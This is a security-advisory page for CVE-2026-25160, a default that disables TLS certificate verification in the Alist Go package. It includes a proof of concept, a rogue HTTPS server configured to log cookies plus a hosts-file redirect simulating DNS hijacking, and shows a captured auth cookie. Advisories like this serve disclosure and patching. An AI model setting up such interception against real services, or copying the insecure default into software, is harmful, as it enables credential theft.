CVE-2026-25160: Github.com/alist org/alist/v3 Alist Has Insecure TLS Config Vulnerability

CRITICAL
Advisory Identifier: GHSA-8jmm-3xwx-w974
CVSS 9.1
CWE-295
Published
Advisory Summary

CVE-2026-25160 is a CRITICAL (CVSS 9.1) alist has insecure tls config vulnerability (CWE-295: Improper Certificate Validation) affecting Github.com/alist org/alist/v3 libraries in the Go ecosystem. The issue involves alist has insecure tls config. Remediation is available by upgrading affected packages to version 3.57.0.

CVE-2026-25160 at a Glance

CVE Identifier CVE-2026-25160
GHSA Identifier GHSA-8jmm-3xwx-w974
Severity CRITICAL
CVSS v3.1 Base Score 9.1
CWE Classification CWE-295: Improper Certificate Validation
Affected Product Github.com/alist org/alist/v3
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 9.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-25160

To remediate this vulnerability, upgrade all affected Github.com/alist org/alist/v3 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/alist-org/alist/v3 fixed: 3.57.0
Upgrade github.com/alist-org/alist/v3 to 3.57.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/alist-org/alist/v3

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-25160, inspect your project dependencies for Github.com/alist org/alist/v3:

inspect dependencies for github.com/alist-org/alist/v3

Analyze the terminal output to locate any version of Github.com/alist org/alist/v3 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.57.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-295: Improper Certificate Validation, where the product does not validate, or incorrectly validates, a certificate. In Github.com/alist org/alist/v3, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The application disables TLS certificate verification by default for all outgoing storage driver communications, making the system vulnerable to Man-in-the-Middle (MitM) attacks. This enables the complete decryption, theft, and manipulation of all data transmitted during storage operations, severely compromising the confidentiality and integrity of user data. ### Details Certificate verification is disabled by default for all storage driver communications. The `TlsInsecureSkipVerify` setting is default to true in the `DefaultConfig()` function in [internal/conf/config.go](https://github.com/AlistGo/alist/blob/b4d9beb49cba399842a54fcc33bc95a4a09b7bd4/internal/conf/config.go#L159). ~~~go func DefaultConfig() *Config { // ... TlsInsecureSkipVerify: true, // ... } ~~~ This vulnerability enables Man-in-the-Middle (MitM) attacks by disabling TLS certificate verification, allowing attackers to intercept and manipulate all storage communications. Attackers can exploit this through network-level attacks like ARP spoofing, rogue Wi-Fi access points, or compromised internal network equipment to redirect traffic to malicious endpoints. Since certificate validation is skipped, the system will unknowingly establish encrypted connections with attacker-controlled servers, enabling full decryption, data theft, and manipulation of all storage operations without triggering any security warnings. #### PoC The /etc/hosts file was modified to simulate DNS hijacking and redirect www.weiyun.com to a malicious TLS-enabled HTTP server. The purpose of this Proof of Concept is to demonstrate that the Alist server will establish communication with a malicious server due to disabled certificate verification. This allows interception and theft of authentication cookies used for communicating with other storage providers. [Video](https://github.com/user-attachments/assets/5b042db0-d830-41d9-9cec-d2ba677ac53d) ##### Setup a malicious https server: ssl.conf: ~~~ LoadModule ssl_module modules/mod_ssl.so LoadModule log_config_module modules/mod_log_config.so Listen 443 LogFormat "%h %l %u %t \"%r\" %>s %b Host:%{Host}i User-Agent:%{User-Agent}i Referer:%{Referer}i Accept:%{Accept}i Cookie:%{Cookie}i" headers CustomLog "/usr/local/apache2/logs/headers.log" headers <VirtualHost _default_:443> DocumentRoot "/usr/local/apache2/htdocs" ServerName localhost SSLEngine on SSLCertificateFile "/usr/local/apache2/conf/server.crt" SSLCertificateKeyFile "/usr/local/apache2/conf/server.key" ErrorLog "/usr/local/apache2/logs/ssl_error.log" <Directory "/usr/local/apache2/htdocs"> Options Indexes FollowSymLinks AllowOverride None Require all granted </Directory> </VirtualHost> ~~~ Dockerfile: ~~~ FROM httpd:2.4 # Copy SSL config COPY ssl.conf /usr/local/apache2/conf/extra/ssl.conf # Include SSL config in main httpd.conf RUN echo "Include conf/extra/ssl.conf" >> /usr/local/apache2/conf/httpd.conf # Copy certs COPY certs/server.crt /usr/local/apache2/conf/server.crt COPY certs/server.key /usr/local/apache2/conf/server.key ~~~ Scripts to run https server: ~~~bash mkdir certs openssl req -x509 -nodes -days 365 \ -newkey rsa:2048 \ -keyout certs/server.key \ -out certs/server.crt docker build -t httpd-ssl . docker run -dit --name my-https-server httpd-ssl ~~~ ##### Run alist ~~~bash docker run -d --restart=unless-stopped -v /etc/alist:/opt/alist/data -p 5244:5244 -e PUID=0 -e PGID=0 -e UMASK=022 --name="alist" alist666/alist:latest ~~~ Simulate DNS hijacking: Modify container's /etc/hosts to redirect www.weiyun.com to malicious server ~~~ <IP of HTTPS Server> www.weiyun.com ~~~ In the front end, add a weiyun storage and inspect log on tls server: ~~~ root@f6d0f5bebe60:/usr/local/apache2# cat /usr/local/apache2/logs/headers.log 172.17.0.3 - - [30/Oct/2025:03:52:58 +0000] "GET /disk HTTP/1.1" 404 196 Host:www.weiyun.com User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Referer:- Accept:- Cookie:WhatEverSecret= ~~~ Note that the cookie is in the log. ### Impact This misconfiguration allows attackers to perform man in the middle attack, which potentially leads to the complete decryption, theft, and manipulation of all data transmitted during storage operations, severely compromising the confidentiality and integrity of user data. This vulnerability affects all alist deployment. ### Credit This vulnerability was discovered by: - XlabAI Team of Tencent Xuanwu Lab - Atuin Automated Vulnerability Discovery Engine If there are any questions regarding the vulnerability details, please feel free to reach out for further discussion at xlabai@tencent.com.

CVE-2026-25160 Affected Github.com/alist org/alist/v3 Versions

1 component(s)
Fixed Versions:
3.57.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/alist-org/alist/v3
Go
< 3.57.0
3.57.0

References

Frequently Asked Questions

What is CVE-2026-25160?
CVE-2026-25160 is a security vulnerability in Github.com/alist org/alist/v3 involving Alist has Insecure TLS Config under CWE-295: Improper Certificate Validation.
Which Github.com/alist org/alist/v3 versions are affected?
Affected versions include releases prior to 3.57.0 across affected packages: github.com/alist-org/alist/v3.
What version fixes CVE-2026-25160?
Upgrading to 3.57.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/alist-org/alist/v3 affected?
Yes, github.com/alist-org/alist/v3 is affected in releases prior to 3.57.0. Upgrade your dependency to 3.57.0 or later.
What is the CVSS score of CVE-2026-25160?
CVE-2026-25160 has a CVSS v3.1 base score of 9.1 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2026-25160?
CVE-2026-25160 is classified under CWE-295: Improper Certificate Validation (The product does not validate, or incorrectly validates, a certificate.).
How can I check Go dependencies for CVE-2026-25160?
Run the dependency tree command: 'inspect dependencies for github.com/alist-org/alist/v3'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8jmm-3xwx-w974",
  "modified" : "2026-02-04T21:56:50Z",
  "published" : "2026-02-04T18:41:26Z",
  "aliases" : [ "CVE-2026-25160" ],
  "summary" : "Alist has Insecure TLS Config",
  "details" : "### Summary\nThe application disables TLS certificate verification by default for all outgoing storage driver communications, making the system vulnerable to Man-in-the-Middle (MitM) attacks. This enables the complete decryption, theft, and manipulation of all data transmitted during storage operations, severely compromising the confidentiality and integrity of user data.\n\n### Details\nCertificate verification is disabled by default for all storage driver communications.\n\nThe `TlsInsecureSkipVerify` setting is default to true in the `DefaultConfig()` function in [internal/conf/config.go](https://github.com/AlistGo/alist/blob/b4d9beb49cba399842a54fcc33bc95a4a09b7bd4/internal/conf/config.go#L159).\n\n~~~go\nfunc DefaultConfig() *Config {\n    // ...\n    TlsInsecureSkipVerify: true,\n    // ...\n}\n~~~\n\nThis vulnerability enables Man-in-the-Middle (MitM) attacks by disabling TLS certificate verification, allowing attackers to intercept and manipulate all storage communications. Attackers can exploit this through network-level attacks like ARP spoofing, rogue Wi-Fi access points, or compromised internal network equipment to redirect traffic to malicious endpoints. Since certificate validation is skipped, the system will unknowingly establish encrypted connections with attacker-controlled servers, enabling full decryption, data theft, and manipulation of all storage operations without triggering any security warnings. \n\n\n\n#### PoC\nThe /etc/hosts file was modified to simulate DNS hijacking and redirect www.weiyun.com to a malicious TLS-enabled HTTP server.\n\nThe purpose of this Proof of Concept is to demonstrate that the Alist server will establish communication with a malicious server due to disabled certificate verification. This allows interception and theft of authentication cookies used for communicating with other storage providers.\n\n[Video](https://github.com/user-attachments/assets/5b042db0-d830-41d9-9cec-d2ba677ac53d)\n\n\n\n##### Setup a malicious https server:\n\nssl.conf:\n~~~\nLoadModule ssl_module modules/mod_ssl.so\nLoadModule log_config_module modules/mod_log_config.so\n\nListen 443\n\nLogFormat \"%h %l %u %t \\\"%r\\\" %>s %b Host:%{Host}i User-Agent:%{User-Agent}i Referer:%{Referer}i Accept:%{Accept}i Cookie:%{Cookie}i\" headers\nCustomLog \"/usr/local/apache2/logs/headers.log\" headers\n\n<VirtualHost _default_:443>\n    DocumentRoot \"/usr/local/apache2/htdocs\"\n    ServerName localhost\n\n    SSLEngine on\n    SSLCertificateFile \"/usr/local/apache2/conf/server.crt\"\n    SSLCertificateKeyFile \"/usr/local/apache2/conf/server.key\"\n\n    ErrorLog \"/usr/local/apache2/logs/ssl_error.log\"\n\n    <Directory \"/usr/local/apache2/htdocs\">\n        Options Indexes FollowSymLinks\n        AllowOverride None\n        Require all granted\n    </Directory>\n</VirtualHost>\n~~~\n\nDockerfile:\n~~~\nFROM httpd:2.4\n\n# Copy SSL config\nCOPY ssl.conf /usr/local/apache2/conf/extra/ssl.conf\n\n# Include SSL config in main httpd.conf\nRUN echo \"Include conf/extra/ssl.conf\" >> /usr/local/apache2/conf/httpd.conf\n\n# Copy certs\nCOPY certs/server.crt /usr/local/apache2/conf/server.crt\nCOPY certs/server.key /usr/local/apache2/conf/server.key\n~~~\n\nScripts to run https server:\n\n~~~bash\nmkdir certs\nopenssl req -x509 -nodes -days 365 \\\n  -newkey rsa:2048 \\\n  -keyout certs/server.key \\\n  -out certs/server.crt\ndocker build -t httpd-ssl .\ndocker run -dit --name my-https-server httpd-ssl\n~~~\n\n##### Run alist\n~~~bash\ndocker run -d --restart=unless-stopped -v /etc/alist:/opt/alist/data -p 5244:5244 -e PUID=0 -e PGID=0 -e UMASK=022 --name=\"alist\" alist666/alist:latest\n~~~\n\nSimulate DNS hijacking: Modify container's /etc/hosts to redirect www.weiyun.com to malicious server\n~~~\n<IP of HTTPS Server>      www.weiyun.com\n~~~\n\nIn the front end, add a weiyun storage and inspect log on tls server:\n~~~\nroot@f6d0f5bebe60:/usr/local/apache2# cat /usr/local/apache2/logs/headers.log\n172.17.0.3 - - [30/Oct/2025:03:52:58 +0000] \"GET /disk HTTP/1.1\" 404 196 Host:www.weiyun.com User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Referer:- Accept:- Cookie:WhatEverSecret=\n~~~\n\nNote that the cookie is in the log.\n\n### Impact\nThis misconfiguration allows attackers to perform man in the middle attack, which potentially leads to the complete decryption, theft, and manipulation of all data transmitted during storage operations, severely compromising the confidentiality and integrity of user data.\n\nThis vulnerability affects all alist deployment.\n\n### Credit\nThis vulnerability was discovered by:\n- XlabAI Team of Tencent Xuanwu Lab\n- Atuin Automated Vulnerability Discovery Engine\n\nIf there are any questions regarding the vulnerability details, please feel free to reach out for further discussion at xlabai@tencent.com.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/alist-org/alist/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.57.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/AlistGo/alist/security/advisories/GHSA-8jmm-3xwx-w974"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25160"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/AlistGo/alist/commit/69629ca76a8f2c8c973ede3b616f93aa26ff23fb"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/AlistGo/alist"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/AlistGo/alist/releases/tag/v3.57.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-295" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-04T18:41:26Z",
    "nvd_published_at" : "2026-02-04T20:16:06Z"
  }
}